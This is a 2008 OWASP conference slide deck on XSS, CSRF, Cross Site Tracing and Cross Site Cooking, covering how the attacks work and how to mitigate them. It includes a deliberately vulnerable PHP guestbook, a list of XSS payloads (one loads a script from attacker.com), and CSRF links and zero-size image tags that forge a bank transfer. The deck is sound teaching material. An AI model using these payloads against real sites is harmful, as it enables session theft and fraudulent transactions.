XSS, CSRF and Variants: An Insight OWASP Gunwant Singh, SAIC India gunwant dot s at gmail dot com +91-9971843928 Delhi Chapter October 2008 Copyright © The OWASP Foundation Permission.

Download Report

Transcript XSS, CSRF and Variants: An Insight OWASP Gunwant Singh, SAIC India gunwant dot s at gmail dot com +91-9971843928 Delhi Chapter October 2008 Copyright © The OWASP Foundation Permission. 

XSS, CSRF and Variants:
An Insight
OWASP
Gunwant Singh, SAIC India
gunwant dot s at gmail dot com
+91-9971843928
Delhi Chapter
October 2008
Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.
The OWASP Foundation
http://www.owasp.org
Agenda
 Facts
 XSS
 CSRF
 Modus Operandi
 XSS
 CSRF
 Ways of Mitigation
 XSS
 CSRF
 XSS Variants
 New attacks
 Cross Site Tracing
 Cross Site Cooking
 Conclusion
 References
 Q.A Session
Disclaimer: All information shared or explained in this session is only for educational purposes.
OWASP
2
Facts on XSS
XSS vulnerabilities exists since the early days of
the Web (around 1996).
Earlier Websites often used frames - Attackers
were including malicious content from other
domains using frames.
In 1999, Georgi Guninski (security researcher)
was working on finding flaws in IE security
model.
David Ross (M$) published the first paper on
XSS flaws entitled “Script Injection.”
OWASP
3
Facts on XSS - contd.
David in his (M$ internal) paper described about
the vulnerability, how it can be exploited, how a
(XSS) worm/virus might work, and the
mitigation techniques.
He identified it as both server and client side
issues.
He found that the client side issues resembles
the IE flaws as discovered by Georgi Guninski.
Later M$ removed that paper; however its still
available on the RSnake’s website - nothing ever
dies on the Internet!
OWASP
4
Underestimated XSS
 Prior to 2005, security experts and developers paid little attention to
XSS.
 Focus on buffer overflows, botnets, viruses, worms, spyware, and
others.
 Most believed JScript, the enabler of XSS, to be a toy programming
language. “It can’t root an OS or exploit a database, so why should
I care? How dangerous could clicking on a link or visiting a Web
page?”
 In October 2005, we got the answer: Samy. Literally overnight the
first major XSS worm, shut down MySpace.
 The payload spreaded from one MySpace profile page to another.
Infected more than a million users in just 24 hours.
 All of a sudden the security world was wide-awake for XSS and a lot
of research into JavaScript started.
 Site administrators rarely fix XSS problems and, when they do, the
average patch time is roughly 52 days – according to a survey.
OWASP
5
Technical Facts on XSS
 XSS forces a web site to echo attacker-supplied executable code,
which loads and executes in a user's browser
 The attack vector is usually written in HTML/JavaScript, but may
also extend to VBScript, ActiveX, Java, Flash, or any other browsersupported programming technology.
 What it can do?
 End user could have his account/session hijacked,
 Their browser redirected to another location,
 Or possibly redirect him to fraudulent/malicious content,
 Deface a website,
 And a lot more!
 XSS exploits the trust a user has for a particular site
 Types
 Reflective (Non persistent): Welcome <un>, search results <q>, urls
 Stored (Persistent): Social networking websites
 DOM (Can be P/N-P)
OWASP
6
Modus Operandi: XSS
SID:ABC123
Server
SID:ABC123
Malicious Execution
Malicious
Link
SID:ABC123
Victim
Attacker
OWASP
7
XSS Vulnerable Code
<? $name=$_POST['name'];
$message=$_POST['message'];
$mode=$_POST['mode']; $err="";
if($mode=='add')
{
if(empty($name) && empty($message))
$err.="name and message are empty<br>";
elseif(empty($name)) $err.="name is not specified<br>";
elseif(empty($message)) $err.="message is empty<br>";
else {
$f=fopen("1.txt", "a");
$d=date("Y-m-d H:i:s");
$m=" added $d, user: $name<br>$message<br>";
fwrite($f, $m); fclose($f); }
}
echo "<html><body><center><b>Guest book</b></center> ";
..
echo "<hr> add a message:<br>";
<form method=POST> <input type=hidden name=mode value=add> Name: <input
type=text name=name><br> Message:<br>
<textarea name=message cols=50 rows=6></textarea><br> <input type=submit
value=Add> </form> </body> </html> ";
?>
OWASP
8
XSS STATISTICS
Ref: Web Application Security Consortium
OWASP
9
Attack vector variants
 <form>
<input type=“text” name=“value1” method= “GET” value=“value1”>
…
</form>
 Attack Vector : “><script>alert(document.cookie)</script>
 And the resulting HTML would be:
<input type=text name=value1 value=” “><script>
alert(document.cookie);script>
OWASP
10
Attack vectors variants - contd.
 <script src=”http://attacker.com/xss.js”>
 <img src=”javascript:alert(‘XSS’)”>
 Useful if the site filters the script tag <script>.
 <input onclick="alert(123)">
 <input onmouseover="alert(123)">
 <body onload=“alert('XSS')”>
 <body onmouseover=“alert(‘XSS’)”>
 <body background="javascript:alert('XSS')">
 <IMG
SRC=javascript:alert(String.fromCharCode(88,83,83))>
For each character, there is a JavaScript key code.
88=x, 83=s
 <br size="&{alert('XSS')}">
 <img src='vbscript:msgbox("XSS")'>
OWASP
11
Ways to Mitigate
Input Validation
– Accept Known Good Validation Strategy
– Regular Expressions
– Client & Server side
HttpOnly Cookies (Bypass through XST)
Partition the site into multiple document domains so
it's more difficult for XSS in one document domain to
allow access to other areas in the other domains.
Ex: putting site-search CGIs in one subdomain and
sensitive site areas in another would be useful.
OWASP
12
Facts on CSRF
 Cross-site Request Forgery - known by many names : XSRF /
CSRF (Sea Surf)/ Cross-site Reference Forgery / One-Click attack
/ Hostile linking/Session riding/Automation attack.
 Known since 2001.
 Simple Attack ! Creates a hidden HTTP request inside the victim’s
browser.
 Request is executed in the victim’s authentication context. While
XSS – may be used for Defacing.
 Causes State Change in the victim’s authentication context.
 CSRF exploits the trust a site has for a particular user.
OWASP
13
An Example:
 User A wants to transfer $100 to User B using Bank.com.
----------------------------------------------------------POST http://bank.com/transfer.do HTTP/1.1
...
...
...
Content-Length: 19;
fromacct=UserA&toacct=UserB&amnt=100
----------------------------------------------------------OWASP
14
An Example - Contd.
 Attacker crafts a URL:
http://bank.com/transfer.do?fromacct=UserA&toacct=At
cker&amnt=500
 URL encoded link -> Socially engineered user
 Basic method:
<a href=“http://bank.com/transfer.do? fromacct=UserA&
toacct=atcker&amnt=500”> View my pics !! </a>
 Image Tag:
<img src=“http://bank.com/transfer.do?acct=
atcker&amnt=500” width=“0” height=“0” border=“0”>
OWASP
15
Modus Operandi: CSRF
Malicious Execution
SID: ABC123
Bank.com
SID: ABC123
Victim
Malicious
Link
Attacker
OWASP
16
What Causes CSRF?
Sharing of cookie-directive between the two
requests.
Since Cookie contains SID, therefore sharing of
SID.
There is session based authorization at the server
side which will result in NO distinction between
legitimate and illegitimate request.
Therefore, the request initiated by malicious link
will be validated and transaction will take place.
OWASP
17
Testing CSRF Automatic submission
Using Logout Option:
<html>
<title>See my pics!!</title>
<META HTTP-EQUIV="refresh" CONTENT="50">
<img src= "http://testwebsite.com/vdir/logout.php">
</html>
Using Automatic Form Submission:
 Change Password, add users, delete users, etc.
 Create a form : Automatic Submission.
OWASP
18
Ways to Mitigate
Associate a one-time form token with each
form and URL for a certain period of time
Validate that token at the server side.
Use of VIEW STATE
Not too long Session/idle time out period
Explicitly re-authenticate for sensitive
transactions.
For sensitive transactions, CAPTCHA would
help.
CSRF Tester & CSRF Guard - Tools by OWASP
OWASP
19
Cross Site Tracing
“Trace” - HTTP method - input data echo
mechanism
Application Layer loopback of the request
message.
Used for debugging and other connection
analysis activities.
telnet abc.com 80
REQUEST: TRACK / HTTP/1.0
REPLY: 200 OK
TRACK / HTTP/1.0
OWASP
20
Testing XST
$ telnet foo.com 80
Trying 127.0.0.1...
Connected to foo.bar.
Escape character is ‘^]’.
TRACE / HTTP/1.1
Host: foo.bar
X-Header: test
HTTP/1.1 200 OK
Date: Mon, 02 Dec 2002 19:24:51 GMT
Server: Apache/2.0.40 (Unix)
Content-Type: message/http
A malicious user can execute
a reflective XSS
TRACE / HTTP/1.1
Host: foo.bar
X-Header: test
Mitigation:
Disable TRACE and TRACK HTTP methods
OWASP
21
Bypassing HttpOnly mechanism
Ref: Cross site Tracing (XST) - By Jeremiah Grossman
HTTPOnly mechanism fails to prevent XSS attack
via HTTP TRACE method
OWASP
22
Cross Site Cooking
 Discoverer: Michal Zalewski
 Variant of Session Fixation attacks
 Browser Weakness/Vulnerability
 Attacker sets a cookie for a browser into the cookie domain of another site
server
Set-Cookie: name=value; expires=date; path=pathname;
domain=domainname; secure
 This allows a site http://evil.com to store cookies on browser in the cookie
domain of another server http://good.com, that is trusted.
 There is no need for any vulnerability within http://good.com, as
http://good.com may assume browser cookie management is secure.
 Logical Security Boundary in browsers: ensures that one site cannot
corrupt or steal data from another => Cross-site cooking bypasses the
logical security boundaries.
OWASP
23
An example:
 Scenario:
 Mallory sends Alice an e-mail: "Hey, check out this cool site,
http://evil.com”.
 Alice visits http://evil.com, which will set the cookie SID value
“ABC123” into the domain of http://good.com with a long
expiration period.
 Mallory sends another email, "Hey, check out your bank account
at http://good.com".
 Alice logs on to the application. Mallory may use her account
using the fixated session identifier.
 Mallory can now enjoy all privileges as attained by the user.
 Mitigation
 Browser update (user end)
 End User Education
OWASP
24
What we have learnt?
Difference in the mode of operation: XSS and
CSRF.
XSS: Attack Vector executes at the client side.
CSRF: Attack Vector executes at the server side.
XSS exploits the trust a user has on the site.
CSRF exploits the trust a site has on the server.
Mitigation techniques: Input validation, etc.
Cross Site Tracing: TRACE and TRACK methods.
Cross Site Cooking: Setting a cookie into the
cookie domain of another site/server.
OWASP
25
References
 XSS:
 http://en.wikipedia.org/wiki/Cross-site_scripting
 Advanced XSS: by Gavin Zuchlinski
 Advanced XSS with Real-time Remote Attacker Control: by Anton Rager
 Book: XSS attacks, exploits & defense: J.Grossman, RSnake, Anton Rager
 CSRF:
 http://en.wikipedia.org/wiki/Cross-site_request_forgery
 www.cgisecurity.com/articles/csrf-faq.shtml
 http://www.rorsecurity.info/2008/05/05/csrf-an-underestimated-attack-method
 www.owasp.org/index.php/Cross-Site_Request_Forgery
 Cross site Tracing:
 http://en.wikipedia.org/wiki/Cross-site_tracing
 www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf
 http://pentesterconfessions.blogspot.com/2007/09/cross-site-tracing.html
 Cross site Cooking:
 http://en.wikipedia.org/wiki/Cross-site_cooking
 http://www.securiteam.com/securityreviews/5EP0L2KHFG.html
OWASP
26
Questions?
Thank You!
Presentation available @
gunwantsingh.blogspot.com
OWASP
27
XSS, CSRF and Variants:
An Insight
OWASP
Gunwant Singh, SAIC India
gunwant dot s at gmail dot com
+91-9971843928
Delhi Chapter
October 2008
Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.
The OWASP Foundation
http://www.owasp.org